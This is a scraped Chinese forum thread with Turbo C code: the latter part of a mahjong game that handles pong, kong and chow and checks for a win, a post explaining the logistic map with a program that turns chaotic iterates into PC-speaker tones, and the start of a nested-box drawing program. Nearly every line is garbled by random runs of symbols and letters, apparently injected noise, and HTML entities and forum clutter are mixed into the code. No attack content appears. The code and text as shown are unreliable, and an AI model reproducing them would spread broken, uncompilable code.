* D5 K- l3 m) t" _' P# R  T7 ?' E}
& ~% F: o8 F, y$ v$ ~, a% Gif(every==11)
3 C% Z6 W. b; D{
$ _; S, ]/ }1 T, `x1=240;. r4 u; U6 I, y6 R
y1=165;
( [, L% _' Q$ ~& zfillRectangle(x1,y1,x1+20,y1+4,0);3 p% c' ]- {  [2 ~9 Y  o4 ^, C& r+ k
}" J6 T, @/ F+ e' h
if(every==12)
* ~0 X2 P" G5 c, s  Y3 ?& e" Y* J{
1 f, a( H% N5 ?% d$ a5 X' T$ {x1=260;
4 D1 c5 i% ^2 J+ [5 |( Z+ Sy1=165;5 E/ `' u- b$ E) b6 p
fillRectangle(x1,y1,x1+20,y1+4,0);
. R! Y+ i% ]6 R+ g}
1 e9 k9 v: d$ i0 L+ @* O7 w% g9 h& h( t8 I+ S4 K; w0 r
zz=0;
( b2 F2 U/ I1 A. Y# I+ q. Aevery++;' X2 y  A& U+ \  ?5 K
z=z+20;
4 i9 ]% s$ R1 k% H}
+ t8 H" ?/ u# }6 d) e3 Q! `( J8 z% _showbmp(every);- Z. E" s, e! K+ G
key=keyy;& \' c2 X- U$ j+ n# E$ q
if(keyy==ENTER)! p/ T2 H- j  v/ o
{
" l4 t8 z; Q* b! B9 `9 C* urgzn(every); /*********************/0 Q/ Q7 v) C1 a7 z, ?! z- U
if(sing==1) /*如果可以乓,做相应的处理*/
, T8 O; n2 t' o' d  k3 G9 t6 d{
* f! N3 _( {% G% ?6 Ekkk=0;
: q, d$ V3 b& V6 [8 k0 ^1 p4 rkkkk=0;2 z( G0 m$ L  s+ C, R! U7 k
while(kkk&lt;=computer.m)
1 D& W- P) v6 C% J{
% @# N6 F# o: D$ a4 n$ d) G3 Kif(computer.pp[kkk].p!=1)  }5 a; U) z4 ^2 d& y6 P
{
$ P  R! `: M) P7 }: `  ?7 ccomp.pp[kkkk].k=computer.pp[kkk].k;4 {) Q( e) ]$ w  O
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;% c* d- u1 G$ C/ |0 O* ?$ c- B
comp.pp[kkkk].number=computer.pp[kkk].number;
3 H. K9 O* p& a+ Fkkkk++;
# p' d% Y, X, c$ F9 D. u}
0 o7 q6 k5 g' b5 j9 celse. b, J; [! n4 h
{$ e; @2 b6 N9 H7 e) l4 A) v
m[computer.pp[kkk].number].data1=1;
' j. I% J* x/ N7 x8 U: s; |dwei=computer.pp[kkk].number;
, A3 V9 w0 U' z/ o% u+ x1 R1 Tcomputer.pp[kkk].p=0;
1 H, u$ o. ^+ O) e3 D( y; V}* d% z& h: S. Z( k% `7 q
kkk++;
$ B9 T% \; y, i5 S: I* R5 W; r}" t4 b% C- }6 V4 C- @; |
ll=0;
# Q, Y6 `0 u' A7 }* P# q& h
) G# J/ D, g0 O, lwhile(ll&lt;3)
% h3 R  o, x& E% e4 W0 x{ zl=zl+20;# r( s( `1 H" }0 [" |
bmpp(dwei); /*显示乓的牌*/7 G, c; C5 V+ O3 f/ D
ll++;
3 |$ P: I6 I7 c1 C& W" [& \2 |) d}
! d9 s3 u4 |! c  A. [' g  f* E
zl=zl+9600-60;
9 W9 o  t& N: Y+ [, C- akkk=0;3 ^0 U& x; k$ a+ E% h$ i: r" L
computer.m=computer.m-2;
5 Y. m6 `2 B# h5 pwhile(kkk&lt;=computer.m)$ S" L1 {: g& q/ h7 k4 @% V
{7 C/ U: W$ z" g" ^2 B  V
computer.pp[kkk].k=comp.pp[kkk].k;
# I( H% A& P7 w" b2 H' ]4 r. v; {0 q6 ^computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
/ Y6 g) U7 y" v' @- B& ~; E4 wcomputer.pp[kkk].number=comp.pp[kkk].number;: D5 L, O6 W6 n& i0 U
kkk++;' G9 I: H0 h8 d* f- s) u5 ?
}
! b- I) [5 e9 {7 g2 |ll=0;
1 e) R7 f- F3 v3 J3 Dtemp=random(computer.m); /*出牌等待完善*// v6 m' ?; C$ V6 ^: U
zyy=zyy+9280+20;
* c9 a0 P7 Q- D* e1 y5 R. o) Rshowcbmp(temp);
. v$ _3 I, {+ O, mzyy=zyy-9280;
* X2 j9 H* R- h/*****/5 I/ V4 Y6 C6 p* c+ k. x( I: d+ K
rgznme(temp);
( k9 d' Q1 }5 t8 l, ipanduan();
) j& e" |. D9 B& Wif(me.m==0)
0 N" j! y* }6 U7 ^" D9 V2 Mif(second==1 &amp;&amp; threes==0)
, }6 d# I. r' O' |9 X' ^& ]+ ~printf("you win!");+ u* ^8 s  I( v& I; R* }
if(me.m==3)
" b2 e# {' K+ n, Hif(second==1 &amp;&amp; threes==1)$ Y9 M4 z+ X; ^' e7 ^3 J3 X
printf("you win!");3 J( v  N: V/ \8 F2 k3 l8 p2 p
if(me.m==6), |4 h' l- ^. Q* i& O4 h
if(second==1 &amp;&amp; threes==2)  _1 X0 R  l. r5 [
printf("you win!");
4 H. o3 s' z  J5 W( l; kif(me.m==9)& {+ L) G% _( Y* [$ S% s+ ~. {0 \
if(second==1 &amp;&amp; threes==3)( g! \. N4 K! |3 B. ^! F2 n
printf("you win!");0 {0 P7 D1 u( H
if(me.m==12)
: p! _& i/ j& x: A9 Aif(second==1 &amp;&amp; threes==4)
& p" Y3 m6 x. rprintf("you win!");
  F2 j$ x' s7 f! p9 }" m) t: i
3 A6 Q, L4 m8 s! Ukkk=0;1 ~8 i+ O0 e0 \6 m
kkkk=0;
4 _2 w6 \0 P/ [- r4 {+ Y9 Hwhile(kkk&lt;=computer.m)3 I+ W! ]; W  }
{" F5 p! x; s/ f
if(kkk!=temp)1 D% v1 ?1 P5 M$ q
{
+ p' g) G1 W2 O& m) g: ^2 x' Ncomp.pp[kkkk].k=computer.pp[kkk].k;
' ~7 {3 _: ^( a. v! kcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;$ G1 s; e+ x! _: u8 |* C% J
comp.pp[kkkk].number=computer.pp[kkk].number;3 K" f: E# q' v+ ]* u
kkkk++;
) i" K0 Y" b! Z, K7 ?# s5 J" {}! l& L# t0 p* B3 R2 X
else
0 i, p; n/ Z2 X- v8 `9 Rm[computer.pp[kkk].number].data1=1;) F' L. n% F# h
kkk++;
9 D" |2 g3 S6 i, S% C}
. b+ u6 T# R3 v+ akkk=0;% ~0 q) Q6 A* X+ n
computer.m=computer.m-1;
7 R  s( g" L; z: hwhile(kkk&lt;=computer.m)
7 [. y! i' E6 u{1 @" F. d/ o: h) D; Q, `1 I
computer.pp[kkk].k=comp.pp[kkk].k;+ N+ z7 P- M, `+ e" V$ s
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;! ]9 P+ [3 @  m2 P. f/ p
computer.pp[kkk].number=comp.pp[kkk].number;* ^7 Q! @' R5 l1 e6 ]* Q
kkk++;
4 ~' w# Z8 S4 z}  q* e* `- P  T6 X
fillRectangle(0,0,320,30,0);
9 i4 s: H) F2 k1 ]n=computer.m;
$ i0 `0 |2 g; y+ J+ {" wll=0;6 s# k+ E8 F1 L8 W9 F
zy=0;' B2 I  c0 R, ?. S3 G# J
while(ll&lt;=n)+ w- Z+ c/ }+ d" e
{1 g1 g( N' V5 y! U
zy=zy+20;9 \. g0 F/ a) a5 q) k+ Y5 Y1 {1 a
showybmp(ll);% X; g# o* U7 B7 l6 n5 H
ll++;; N  i: C" U1 f( s
}
  t% [" |+ @) k4 c& n0 X. {) H: fll=0;% V4 l& v9 G% a. G. E
getch();
% @- I6 D+ ~# E& e# {sing=0;
8 ?) _( _' s% ]( I* y9 Z  z1 Ssing1=1;
. e6 G3 W4 z4 C1 [0 k/ @}6 x6 T, v7 k' |4 z- i* I1 c4 p( z' z
: {- I4 i5 K& L7 _1 p
if(sing==2) /*如果可以杠的做相应处理*/
" T) x$ Q7 J! i# m6 S; `{
! @- X& g+ p$ zkkk=0;
- b: R& U$ k" s8 B8 N# |kkkk=0;
6 I7 m8 t+ h7 f" `6 [1 l( D( ewhile(kkk&lt;=computer.m); @3 r; y) G9 S
{/ ]0 o+ ]; }9 O! ^1 \
if(computer.pp[kkk].g!=1)
' d  M$ d! F" _" a1 t{; s, G* z7 ^, o$ |$ J3 Y8 q1 e
comp.pp[kkkk].k=computer.pp[kkk].k;
: e0 G- B# \  lcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
7 s- W2 y* u* Zcomp.pp[kkkk].number=computer.pp[kkk].number;
$ A" S8 m# q: {' C; t; y5 {kkkk++;5 f0 S& W" l+ X2 n4 ?7 O" F
}) A/ x2 V  r* M
else
- V( R% \# ^* O/ o8 h$ n5 T2 W{4 D/ X. Y! H5 W5 U$ U
m[computer.pp[kkk].number].data1=1;# l# L) J2 V) b: C
dweig=computer.pp[kkk].number;
+ J/ p, D; ^1 |8 {  U; tcomputer.pp[kkk].g=0;. Z' A- q$ d" g6 D' b/ f! T
}
1 a! f: d5 j/ k1 Y& a; i9 V( [kkk++;- ?" Z8 y0 L% ^# J2 K) W; E
}" {6 s+ y9 `0 T' s* v8 J$ d( z
ll=0;; F3 H6 ^8 Q7 ]- f
7 }! i3 |% O* `$ |# r
while(ll&lt;=3)
, K' z4 A' @) q* z" f2 z{ zl=zl+20;$ R7 F9 C. s, X/ L4 U$ W$ r7 ~
bmpp(dweig); /*显示杠的牌*/
5 Z- t5 J6 G* {* C* Qll++;* u" t! Y9 [; C7 \( v: ^5 n+ u1 f' m( [  o
}
9 k" x0 S* ?: ], @' o# ezl=zl+9600-60;
0 |( I1 _% ]  b5 X. ykkk=0;- S$ y& K$ Z0 _5 s
computer.m=computer.m-3;
+ d: r* B, u: Kwhile(kkk&lt;=computer.m)
9 r- L2 _( h) r3 w2 P" k{1 n3 A0 z% U: ]4 Y- x, T# j7 A
computer.pp[kkk].k=comp.pp[kkk].k;" _2 X, t& ^4 h: `8 n# C: a
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;3 k& V7 J1 a9 z: u
computer.pp[kkk].number=comp.pp[kkk].number;
3 X! v( p7 _- i! x  S, l1 Z. bkkk++;( N/ b" o0 W, p0 S" m6 A& m" v! H
}
; \' O. @+ H7 z! \kk=0;
0 c4 F% q* I; S  q" bcomputer.m++; /*加一个牌的容量*/& |2 |0 W, p5 _0 N! S; t
while(kk!=1)1 n( F5 i# T% z9 n- S
{8 a+ g4 ]5 [0 Z
temp=random(136); /*出牌*/
) }/ v1 L( N9 q$ D- oif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
; f0 b2 Q' F$ @) j{& t. W. h/ O$ i) e4 Z
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
7 j; `3 x, \. ]; Ocomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/' I' a5 x9 b5 G! m7 `/ s! r; T
computer.pp[computer.m].number=temp; /*第几张,用来排序*/
; o" [0 G& F  A& Hm[temp].data2=2; /*判断牌是谁的,2为电脑*/
7 @' {$ C5 Y2 y6 h  g: k- skk=1;- R; J% n* v9 G8 X
}
6 o. V1 F: C% ]}
1 }& }) l6 e* A8 P, k/ r+ ncomlipai();3 q) v( v1 ~3 t5 ]: P5 i
temp=random(computer.m); /*出牌,等待完善*/9 }/ q% A; C  K0 B/ \
zyy=zyy+9280+20;
: n) R& w3 G7 gshowcbmp(temp);0 f' d& w! t- f- Q
zyy=zyy-9280;/ A' y1 {& H* B. C4 a+ a; @6 i! X
/*****/
) ?& g" N/ @* T/ X8 lrgznme(temp);
3 d) N8 K  r; F0 Gpanduan();
& J6 c( T0 s! G; _5 @if(me.m==0)
; ^8 V9 a+ G( Y4 S$ T3 v1 Cif(second==1 &amp;&amp; threes==0)! G, j/ T8 R1 x% d% b* f' }
printf("you win!");$ U  b" ?. D& Y3 F4 P+ z* f- g
if(me.m==3)
2 p# J# M3 v# e$ Z8 D# ^. g; aif(second==1 &amp;&amp; threes==1)
2 T: [) K' w% y3 F% M; {) r* h" Kprintf("you win!");# T1 M' Z8 P. Q
if(me.m==6)
" P2 R3 w# F6 D0 U+ |* F0 Iif(second==1 &amp;&amp; threes==2)$ N) S( {; \5 d/ p6 E" |
printf("you win!");
& e- q7 v3 i- E2 j/ A  m& ^if(me.m==9)
" k2 v* X/ C2 |* }5 i% P& _0 @7 gif(second==1 &amp;&amp; threes==3)5 p$ m) I. I; W$ \' G
printf("you win!");
/ n- \  u7 y1 g  A/ h+ d( Z5 rif(me.m==12)
" C% u6 r* K/ b2 pif(second==1 &amp;&amp; threes==4)
( }- x' S* \( I7 L8 Zprintf("you win!");
$ L8 B: ^9 y& R& w" P6 m) c/ @
9 `+ z! J: x3 J6 }kkk=0;6 y% f# l' ]2 U
kkkk=0;
  {' r# C0 `: r& `while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/0 l, K! o3 h3 @- V, p
{
! s; D- ~  v5 x5 Jif(kkk!=temp)
( l9 Z9 h3 O2 d' b; @{
; w7 ]" U' Z' t! j  rcomp.pp[kkkk].k=computer.pp[kkk].k;2 f) t+ l- m8 U3 a) H& T
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;5 P. W& C, l0 I
comp.pp[kkkk].number=computer.pp[kkk].number;2 V+ @; N( _, s# b
kkkk++;
+ k7 {8 c& k0 L}
0 Y5 E1 l, ~: Q8 n+ a& z2 _else
+ M# b% `. o/ H5 K1 x% V# M" T# e+ R$ b: Wm[computer.pp[kkk].number].data1=1;
7 o% z7 h, \3 B# T( y2 kkkk++;
* }4 w: F6 R, S0 n}/ J8 X- _# Y, K* e  j' u
kkk=0;
. V) @3 [7 C! S& W/ u; rcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
' s9 _$ T: M- Lwhile(kkk&lt;=computer.m)
' c1 {, b2 k& d( k9 C5 F{
: e7 c; h0 H8 wcomputer.pp[kkk].k=comp.pp[kkk].k;
0 b& }3 E  i8 Ocomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;+ v, H  ?0 o  T9 \
computer.pp[kkk].number=comp.pp[kkk].number;; I7 Q: F5 r: |" T  t& O
kkk++;
$ c  Z3 c2 d4 x0 N  b8 p% `5 ?! _}3 X  J& B$ {) R: c  ~
fillRectangle(0,0,320,30,0);( S& J  F1 [# w. g
ll=0;- g5 q; o4 Y* z
zy=0;
8 f0 H1 O) p4 S; C1 n/ ^9 qwhile(ll&lt;=computer.m): J: ?% Z1 O" Q
{! M( T8 F/ E1 l) j3 ~
zy=zy+20;
" Y4 h6 @/ m# K) O  ]showybmp(ll);
3 e! C8 @0 E8 D7 e# _. y% U: u, Zll++;( S' S& j$ q# e7 B8 P/ C# T/ K0 _/ i
}8 T" j: {9 W$ C4 ?
sing=0;' R1 w6 n% v% V0 u
sing1=1;; t/ z+ @: f2 f7 T1 T9 x1 v
}4 G3 ?% U6 V& e, `% {
if(sing==7) /*如果可以吃的,做相应处理*/( ~# b# N0 g2 E9 Z
{ nn=0;( u$ t# E3 R7 N4 @  y& i
kkk=0;
  k- R3 A0 |: J9 b4 ckkkk=0;  J( ?" q! s' O, [; s
while(kkk&lt;=computer.m)/ b' \2 P7 `* w% m0 f
{: y  e% r" ^) M5 m3 X, V
if(computer.pp[kkk].c!=1)
* T. z" L6 a2 S5 t7 e5 R8 b{
+ g8 Z/ t# ~: b  j! e4 rcomp.pp[kkkk].k=computer.pp[kkk].k;
) k" A& P; o. R" acomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
5 v$ v) ~2 j' e8 Ucomp.pp[kkkk].number=computer.pp[kkk].number;0 w1 P9 j# A9 v. c; Q6 [8 e0 O6 _
kkkk++;
1 S8 T: S" O' g$ x2 K}
  r$ O  e" j% ?( Felse1 ?! j3 `6 q1 o" t3 W6 Q
{
: u* `. v0 O( A$ i/ t9 `- q% |m[computer.pp[kkk].number].data1=1;+ g$ d, Z! g  D, r3 l
dw[nn++]=computer.pp[kkk].number;( V& o% E$ W% j4 \! @. c- F. T4 s
computer.pp[kkk].c=0;; C( `2 y5 O5 S
}
- U9 j; J! k5 v) s& Vkkk++;9 h* Z* D+ C$ |0 m4 w. Q5 d
}
; m! |* ?3 }# R3 |1 u$ v& D& y5 Q' V/ o0 a+ h! U
if(me.pp[every].number&lt;dw[0])8 A3 k! Z# c% b$ e) C
{
: V5 F# h: A3 C# f8 k4 Tdw[2]=dw[1];
. ~0 \2 Z  V: H3 l0 c0 j) N1 }dw[1]=dw[0];% I! `' X9 ~8 l0 o3 Z4 Z( a
dw[0]=me.pp[every].number;
5 V  N6 w) T1 M; `  C! l}: Y8 B3 t0 E" p& b4 }
if(me.pp[every].number&gt;dw[1])8 D3 ?7 D: T" g. L8 L
{2 N# \; ]' T$ |5 D: k" d
dw[2]=me.pp[every].number;8 [! l6 p2 T* t# m8 P  {
}
, v8 I+ g, ~) I! {/ C0 P8 ]8 lif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
! q9 h; J* N. t{4 D5 a4 \+ `* m, [$ h
dw[2]=dw[1];
9 J5 Y2 ]# H3 ?$ P9 ~5 t% s* Qdw[1]=me.pp[every].number;
" b4 f( K) _% `' v( }$ L}: V) l0 t1 V- H, |4 X: j
nn=0;
% F. g' y* G5 @7 wwhile(nn&lt;3)
  w3 R$ S9 @; h5 Z$ j$ }2 i{ zl=zl+20;; v5 y% ]* z/ e. N( f& K1 l0 N
bmpp(dw[nn]); /*显示吃的牌*/
5 w  I/ F' X' z" S; C1 {3 T4 unn++;* b* A2 e6 u( `% [$ P; _! Q
}
9 \. s/ b1 A+ f1 P: a, P# yzl=zl+9600-60;
# L8 Z+ V3 \, c  p4 wkkk=0;! M$ J7 G0 r2 S
computer.m=computer.m-2;
4 I" U( ~' ?3 p/ w( X) ]2 v! b# hwhile(kkk&lt;=computer.m)
3 g+ F8 [- ?8 z{
) }$ p. C: S' C1 Y3 Mcomputer.pp[kkk].k=comp.pp[kkk].k;
6 L. x0 q, H+ Z7 a# r8 [computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
' K) {9 z" d1 ~: Hcomputer.pp[kkk].number=comp.pp[kkk].number;
, F2 p& _7 B# pkkk++;9 g# J( w0 Q' V4 F( a: E6 @. p
}! [. @5 _6 N8 O
ll=0;
/ f9 B, K1 @& Y1 p1 ^temp=random(computer.m); /*出牌等待完善*/
# k3 m5 z. A) f0 \* |7 `zyy=zyy+9280+20;
' m0 E& h# ]# W  @showcbmp(temp);) O/ m- {, l/ a9 [# ~; u& g1 E
zyy=zyy-9280;7 H; W' M* _! {" t- h
/*****/! [) K$ E. L" @7 i/ b& T- \
rgznme(temp);: T3 X7 \' e8 f( S% K' @/ i
panduan();
6 e3 t: W# c2 l& [' i! }if(me.m==0)
5 C, n2 i# P# p+ R- c# fif(second==1 &amp;&amp; threes==0)
: ]! |! v0 @3 h4 Z! l7 Q/ ?printf("you win!");6 V( `. G4 R( g, ]. d/ h
if(me.m==3); P: a  ^4 f7 _# o5 ]
if(second==1 &amp;&amp; threes==1)
0 |# y& w; _$ }" ^8 L3 R0 V8 C5 @4 @( Xprintf("you win!");
/ s$ N1 r% f! i+ b/ x  uif(me.m==6); e7 G) U% f, v6 M
if(second==1 &amp;&amp; threes==2)
/ Q: H$ a% M8 x: y* sprintf("you win!");: I6 K% }7 y) [, e: @
if(me.m==9)* o" ^/ ^! p, s
if(second==1 &amp;&amp; threes==3)+ ^* H( H5 a' B9 [
printf("you win!");
+ g8 m+ L& J' V# R2 fif(me.m==12)
4 }  t; ?. r  v' R4 c- vif(second==1 &amp;&amp; threes==4)
. M5 P$ B1 R/ C; Zprintf("you win!");. |- [) S5 z. |1 ?
: p9 v6 `" C+ G. y  ?
kkk=0;9 y' h& g$ D- \/ M
kkkk=0;+ n8 P& J+ d8 }# B! }( \/ G6 Y1 I
while(kkk&lt;=computer.m)% f& E  c0 D% b( z& y0 ?6 [1 A; K; p
{
  l+ A7 L$ k  S" H0 @! U) Oif(kkk!=temp)6 |& T, w7 b2 q
{
( \7 K: S1 a( q6 t( R* ]# h, M7 t, s  ?comp.pp[kkkk].k=computer.pp[kkk].k;2 T( ]7 a* F, {: E2 f' A& {$ v
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
! q2 E8 O+ @6 R: u5 n+ A: ]! G# lcomp.pp[kkkk].number=computer.pp[kkk].number;/ \) U+ [$ M6 W  O
kkkk++;
" d/ Y( o2 ~" K; a1 Y}
7 E' B9 R, A6 l6 @# b7 \: r2 ^else. ?6 V+ L, c5 P3 _+ R
m[computer.pp[kkk].number].data1=1;
1 M/ U. E( q, W; a5 ]kkk++;
- @* l6 V. V4 u}
& F4 d% Q& q# U, u3 d4 Ykkk=0;
1 {/ }% V1 ]5 k& O, ocomputer.m=computer.m-1;' @; S+ b" U. P' x- `
while(kkk&lt;=computer.m)
3 _/ s9 p) M( X+ N$ z{2 K: K* j( C2 }$ r- L. r. [1 T: l
computer.pp[kkk].k=comp.pp[kkk].k;
. Q/ K8 w0 K9 h; n3 \computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
* _- C, q% g9 q5 J& d; G  Z7 g2 |computer.pp[kkk].number=comp.pp[kkk].number;
4 d( b  L) S/ F& U" @kkk++;5 }; H& U5 r  s+ F
}
& A4 G& S7 e- ?; SfillRectangle(0,0,320,30,0);
7 t: F2 }( K/ }( b* |; _" A+ U7 {$ pn=computer.m;3 c: m) y. c0 q, C1 S% ~) c2 _
ll=0;' l, n0 a, b1 H5 c+ _
zy=0;
8 y  [# y; k2 Hwhile(ll&lt;=n)
- a' f6 ?! T+ p! r/ Q{0 @* G- y; [5 A; G1 |' v" S
zy=zy+20;
1 `3 F# f, Y( z0 Y  eshowybmp(ll);
* z; y3 l3 Q% \- `5 r/ l5 @ll++;
: u1 \: @/ Y4 i% m: l8 s, {0 {}6 y; K9 S0 r' H7 l; [

) }' G# o( m5 m+ d$ Rgetch();7 O' p- T! B  g& q! i3 [
sing=0;
* h8 \" G5 Y9 |" u4 q; Q% _/ O1 Wsing1=1;
! K% c2 Q0 s$ s+ q. V: t5 Q}" e* @! F: H; a) p
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
  N8 ~' e% i9 i' b" H* d& Z/ g+ f{
4 s/ j( g1 i& r1 T1 O# g" |8 Ykk=0;
8 G; n7 F; x; _h=me.pp[every].number;
# @; f% w, B, v8 P- c2 B9 R% @m[h].data1=1; /*此牌已经无用*/9 {# J, n6 ?3 \( n" R* i8 l' D
if(sing1!=1)
9 A" j' ^" f8 N+ h) [7 p{
/ Y9 r' v6 E9 s& o& ~* v$ r7 Azyy=zyy+9280+20;$ Q* X; V' \2 O$ @' |- K
showbmpd(every);
1 C7 I9 K8 e: M: _* ]! J; Y" d# X8 mzyy=zyy-9280;2 q" a9 T  [  G# H5 t* w8 _1 t1 w( \2 M
}$ u/ r. z) ^6 L8 Q, X5 g3 _/ b4 ]
while(kk!=1)
# d/ y' V4 J; Z% r" [5 j& O% i{
' y4 \" e1 u. o. m: Ntemp=random(136);- q2 a7 p4 Z  x# X  s
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)7 {) n- G9 K2 G. P+ C
{
6 z3 @) D2 N0 D0 {# C/ nme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
" l) r$ _) H7 V" s/ Hme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
$ ^8 m! R' p5 m! n& v9 G4 ame.pp[every].number=temp; /*第几张,用来排序*/( l! S( m- w1 I2 G1 Z
m[temp].data2=1; /*判断牌是谁的*/
: w3 J* Q. ]" i/ Z% Ukk=1;
+ x: J7 p2 n/ C1 I}
: n* G7 t' _& @) s6 _4 aif(kk==0) /*判断如果又选择了,就从新再选*/
& f' e0 |- J- \+ g: h# v* ~7 Bkk=0;6 F' t( d2 d  c
}
0 j8 ?' c8 S" l# x}
4 ]: n! m( q5 T, n' v0 K" t+ ~: ising=0;
, F( e* h! [' s" rsing1=0;
' c* K" F0 @, |6 Z/ Q3 J. Omelipai();
8 O4 }9 f+ y, H7 fn=13;1 v5 ~0 e: J0 W( j3 C, R" E: M
z1=54400;
$ |# S" K( H  s6 f$ cl=0;2 @7 }) L6 L( a. I6 X
g=z;4 z; `) i" H, w2 E
while(l&lt;n)9 a/ [. [  _4 `1 _8 B% Q% b/ i7 P: T) k
{ z=0;
( X" `, p% U* c5 a: S$ I7 h- B  Mz1=z1+20;( A' y3 I; l0 P
showbmp(l);
" I! H# D! F8 {0 w. ml++;
2 p5 h1 g" m$ q, m( L1 P}/ {! G; |! ^! D9 s3 _
z1=0;
6 u# E5 |1 x- j$ G1 r$ iz=g;2 _! f% u9 R# F8 o+ ~4 l
}( M6 W, \5 r- `
keyy=0;! Q, R6 G  o! G7 S3 c4 z
}6 }8 G8 T1 s4 |6 T: c

5 W* ~8 N3 K: dgetch();
- H, R, L0 X, p9 g, q- C8 uOUTVGA;) S  v5 T0 |% K" V- G& E, n4 a
} / A& e$ ~6 t3 K1 o
</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])! `) H- e. s! F. e6 {2 h
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
( ^9 Z3 u5 ]0 f  U9 q& \, x# @9 m6 I+ M
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。; Z" F" G( G! m/ ~9 s! x! w( m
  <FONT color=#009900>#include <DOS.H>
$ ^# C5 ]. U3 k& N  #include <STDIO.H>
; p$ \' ~; D  @! p1 c  s  main(){
2 m4 r# J/ j( a6 M- Q% {0 r  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/' ~# W6 }; L3 N
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
) M& j+ `8 N  v" m1 E% B  /*i,j用于循环记数*/
0 P. ^0 ^! V( s/ C, F  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
4 e. i, |- x, u' Y( R  fDis=fMax-fMin;
) |0 p  ]3 Z( o. {. B" O  for(j=1;;j++){+ X6 I7 \  R+ M, M" X5 L
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
# _; A, C3 F! [7 Y  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
  @+ i9 _5 J  p' m  scanf("%f",&k);& z4 ?) j' g: `8 `* \
  if (k==0) break;
- i, Y! G0 G% c9 |2 S  for(i=1;i&lt;100;i++) /*去除开始的100个点*/% H9 P: `/ j6 L/ V! ]5 J5 a
  x=k*x*(1-x);6 g. c, ~7 a; h2 k
  for (i=1;i&lt;100;i++){
+ w9 W# s8 A8 f7 q( a  x=k*x*(1-x); /*计算x的值*/' e8 v: P+ }" n4 R7 [8 w/ T
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
# A5 e8 x4 a/ G9 `. e* I  delay(1000); }
" _' u) D0 V( W8 `0 |3 U% V  nosound(); }}+ r& a  A" ?$ M5 r  Q5 t: m9 [
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。$ O5 }( }1 o: n& I
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
- d1 u+ [  X& X<FONT color=#009900>/*
9 m9 {( i: q+ ~" t  @" }( X*
6 B( ~' l# F* U+ Q* Short driver module
+ b) X0 a, ]4 u% M/ f' u3 h5 L, Z" H# t*! G1 d+ T: K2 I1 L, |
*/</FONT></P><><FONT color=#009900>main()% u5 G1 B0 a% _$ ~; Z0 a
{( r6 \- M( U) \, Z
clrscr();  `3 ?) ~% }/ |! F+ X0 s# a
box(1,1,23,79);
/ v3 M4 _% n  f; Jbox(2,2,21,77);
) U3 Q$ J/ c3 ]' h( [9 D9 Fbox(3,3,19,75);3 M+ Z5 Z6 r: c+ ^, ]( Q* ]" Y8 E
box(4,4,17,73);
$ i5 |2 n8 z* t. z& Ubox(5,5,15,71);
( C' e; }7 s5 b# l3 \" pbox(6,6,13,69);; C9 e8 V1 L- {! D6 A* h# }
box(7,7,11,67);
